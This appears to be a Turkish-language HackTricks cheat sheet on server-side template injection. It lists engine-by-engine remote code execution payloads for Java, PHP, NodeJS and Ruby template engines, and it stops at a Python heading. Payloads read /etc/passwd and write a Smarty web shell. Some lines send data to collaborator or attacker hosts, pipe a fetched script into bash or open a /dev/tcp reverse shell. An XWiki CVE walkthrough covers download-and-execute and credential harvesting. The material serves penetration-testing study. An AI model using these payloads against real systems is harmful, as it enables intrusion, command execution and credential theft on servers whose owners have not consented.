SSTI (Server Side Template Injection)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SSTI (Server-Side Template Injection) nedir

Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona kötü amaçlı kod enjekte edebilmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu zafiyet Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan ve zafiyeti gösteren bir örnek kod parçasını inceleyelim:

output = template.render(name=request.args.get('name'))

Bu savunmasız kodda, kullanıcının isteğinden gelen name parametresi render fonksiyonu kullanılarak doğrudan şablona geçirilir. Bu, bir saldırganın name parametresine kötü amaçlı kod enjekte etmesine ve bunun sonucunda server-side template injection’e yol açmasına izin verebilir.

Örneğin, bir saldırgan bu şekilde bir payload içeren bir istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} name parametresine enjekte edilir. Bu payload Jinja şablon yönergeleri içerebilir ve saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyarak sunucu üzerinde kontrol elde etmesine yol açabilir.

Server-side template injection zaafiyetlerini önlemek için geliştiriciler, kullanıcı girdilerinin şablonlara eklenmeden önce doğru şekilde sanitize edildiğinden ve doğrulandığından emin olmalıdır. Girdi doğrulama uygulamak ve bağlama-duyarlı kaçış (context-aware escaping) teknikleri kullanmak bu riski azaltmaya yardımcı olur.

Tespit

Server-Side Template Injection (SSTI) tespit etmek için başlangıçta, fuzzing the template basit bir yaklaşımdır. Bu, şablona özel karakter dizileri (${{<%[%'"}}%\) enjekte etmeyi ve sunucunun yanıtındaki normal veriler ile bu özel payload arasındaki farkları analiz etmeyi içerir. Zaafiyet göstergeleri şunlardır:

  • Hata fırlatılması, zaafiyeti ve potansiyel olarak şablon motorunu ortaya çıkarır.
  • Reflection içinde payload’ın eksik ya da parçalarının görünmemesi, sunucunun bunu normal veriden farklı şekilde işlemesi anlamına gelir.
  • Plaintext Context: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS’ten ayırın (ör. {{7*7}}, ${7*7}).
  • Code Context: Girdi parametrelerini değiştirerek zaafiyeti doğrulayın. Örneğin, http://vulnerable-website.com/?greeting=data.username içindeki greetingi değiştirip sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu kontrol edin; örn. greeting=data.username}}hello username’i döndürüyor olabilir.

Tanımlama Aşaması

Şablon motorunu belirlemek, hata mesajlarını analiz etmeyi veya çeşitli dil-özgü payloads ile manuel test yapmayı içerir. Hata oluşturan yaygın payloadlar arasında ${7/0}, {{7/0}} ve <%= 7/0 %> bulunur. Sunucunun matematiksel işlemlere verdiği yanıtı gözlemlemek, hangi şablon motorunun kullanıldığını belirlemeye yardımcı olur.

Payloads ile Tanımlama

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Araçlar

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

en etkili template injection polyglots’ları ve 44 en önemli template engines’in beklenen yanıtlarını içeren interaktif bir tablo.

Exploits

Generic

Bu wordlist içinde, aşağıda bahsedilen bazı engines ortamlarında tanımlı değişkenleri bulabilirsiniz:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistemin ortam değişkenlerini alma

${T(java.lang.System).getenv()}

Java - /etc/passwd’i Elde Etme

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payloads’ınızı şurada deneyebilirsiniz: https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ Sadece Freemarker’ın 2.3.30’dan düşük sürümlerinde çalışır

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf’de SSTI açıklarını test etmek için yaygın bir ifade ${7*7}’dir; bu template engine için de geçerlidir. Olası remote code execution için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf, bu ifadelerin belirli attribute’lar içinde yer almasını gerektirir. Ancak, expression inlining [[...]] veya [(...)] gibi sözdizimi kullanılarak diğer template konumları için de desteklenir. Bu nedenle basit bir SSTI test payload’u [[${7*7}]] şeklinde olabilir.

Ancak, bu payload’un çalışması genelde düşük olasılıklıdır. Thymeleaf’in varsayılan konfigürasyonu dinamik template üretimini desteklemez; template’ler önceden tanımlanmış olmalıdır. Geliştiricilerin stringlerden anlık olarak template oluşturmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu nadirdir.

Thymeleaf ayrıca çift alt çizgi (__...__) içindeki ifadelerin ön işlemden geçirildiği expression preprocessing özelliğini sunar. Bu özellik, ifadelerin oluşturulmasında kullanılabilir; Thymeleaf dokümantasyonunda gösterildiği gibi:

#{selection.__${sel.code}__}

Thymeleaf’te Zafiyet Örneği

Aşağıdaki kod parçasını göz önünde bulundurun; sömürüye açık olabilir:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, şablon motoru bu girdileri yanlış işlerse remote code execution’a yol açabileceğini ve aşağıdaki gibi URL’lere erişebileceğini gösterir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Birden çok değişken ifadesi kullanılabilir; ${...} çalışmıyorsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • Oku /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • payload oluşturmak için özel script
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble’in eski sürümü ( < sürüm 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble’in yeni sürümü :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, şu adreste mevcuttur: https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Düzeltildi: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} statement ayırıcıları
  • {{ }} ifade ayırıcıları
  • {# #} yorum ayırıcıları
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

“com.hubspot.content.hubl.context.TemplateContextRequest” için arama yapın ve Jinjava project on Github bulundu.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

İfade Dili - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL), JavaEE’de sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed beans) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi sadeleştirmek için birden fazla JavaEE teknolojisinde yoğun şekilde kullanılır. EL kullanan başlıca JavaEE teknolojileri şunlardır:

  • JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili backend verilerine ve eylemlere bağlamak için EL kullanır.
  • JavaServer Pages (JSP): JSP sayfalarında veriye erişmek ve veriyi işlemek için EL kullanılır; bu, sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
  • Contexts and Dependency Injection for Java EE (CDI): EL, web katmanı ile managed bean’ler arasında sorunsuz etkileşim sağlamak için CDI ile entegre olur ve daha tutarlı bir uygulama yapısı sağlar.

EL yorumlayıcılarının istismarı hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:

EL - Expression Language

Groovy (Java)

Aşağıdaki Security Manager bypass’ları bu writeup’tan alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) Main.SolrSearch macro’su aracılığıyla kimlik doğrulaması gerektirmeyen RSS arama beslemelerini sunar. Handler text sorgu parametresini alır, bunu wiki sözdizimine sarar ve macro’ları değerlendirir; bu nedenle }}}’yi {{groovy}} ile takip edecek şekilde enjekte etmek JVM’de rastgele Groovy kodu çalıştırır.

  1. Fingerprint & scope – XWiki host-based routing arkasında reverse-proxied ise, wiki vhost’u keşfetmek için Host header’ını fuzz edin (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), sonra /xwiki/bin/view/Main/ adresine gidip footer’ı (XWiki Debian 15.10.8) okuyarak zayıf build’i tespit edin.
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> Groovy çıktısını içerecektir. Her zaman tüm karakterleri URL-encode edin, böylece boşluklar %20 olarak kalır; boşlukları + ile değiştirmek XWiki’nin HTTP 500 döndürmesine neden olur.
  3. Run OS commands – Groovy gövdesini {{groovy}}println("id".execute().text){{/groovy}} ile değiştirin. String.execute() komutu doğrudan execve() ile başlattığından shell meta karakterleri (|, >, &) yorumlanmaz. Bunun yerine download-and-execute desenini kullanın:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (the script holds the reverse shell logic).
  1. Post exploitation – XWiki veritabanı kimlik bilgilerini /etc/xwiki/hibernate.cfg.xml dosyasında saklar; leaking hibernate.connection.password gerçek sistem parolalarını verir ve bu parolalar SSH üzerinden tekrar kullanılabilir. Eğer service unit NoNewPrivileges=true olarak ayarlanmışsa, /bin/su gibi araçlar geçerli parolalarla bile ek ayrıcalık elde edemez; bu yüzden yerel SUID ikili dosyalarına güvenmek yerine SSH ile pivot yapın.

Aynı payload /xwiki/bin/get/Main/SolrSearch üzerinde de çalışır ve Groovy stdout her zaman RSS başlığına gömülür, bu yüzden komutların otomatik taranmasını scriptlemek kolaydır.

Diğer Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, PHP’ye özgü bir şablon motorudur ve Twig’ten ilham alır. Ancak Twig’in yeni bir sözdizimi getirmesinin aksine, Plates şablonlarda yerel PHP kodunu kullanır; bu da PHP geliştiricileri için kullanımı sezgisel hâle getirir.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Düzen şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib ile aynıdır ancak Pear’e port edilmiştir.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Daha fazla bilgi

Diğer PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Daha fazla bilgi

patTemplate (PHP)

patTemplate belgeyi farklı parçalara ayırmak için XML etiketleri kullanan, derlenmeyen bir PHP şablon motorudur.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Daha fazla bilgi

Handlebars (NodeJS)

Path Traversal (daha fazla bilgi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hata
  • ${7*7} = ${7*7}
  • Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Daha fazla bilgi

JsRender (NodeJS)

ŞablonAçıklama
Çıktıyı değerlendirip görüntüler
HTML olarak kodlanmış çıktıyı değerlendirip görüntüler
Yorum
andKod çalıştırmaya izin verir (varsayılan olarak devre dışı)
  • = 49

İstemci Tarafı

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Sunucu Tarafı

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Daha fazla bilgi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Örnek sunucu tarafı render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Daha fazla bilgi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Çıktı yok
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Daha fazla bilgi

NodeJS ifade sandbox’ları (vm2 / isolated-vm)

Bazı iş akışı oluşturucuları, kullanıcı kontrollü ifadeleri Node sandbox’ları içinde (vm2, isolated-vm) değerlendirir; ancak ifade bağlamı hala this.process.mainModule.require’i açığa çıkarır. Bu, bir saldırganın child_process’i yükleyip işletim sistemi komutları çalıştırmasına izin verir, hatta özel “Execute Command” düğümleri devre dışı bırakıldığında bile:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Diğer NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Daha fazla bilgi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Daha fazla bilgi

Diğer Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

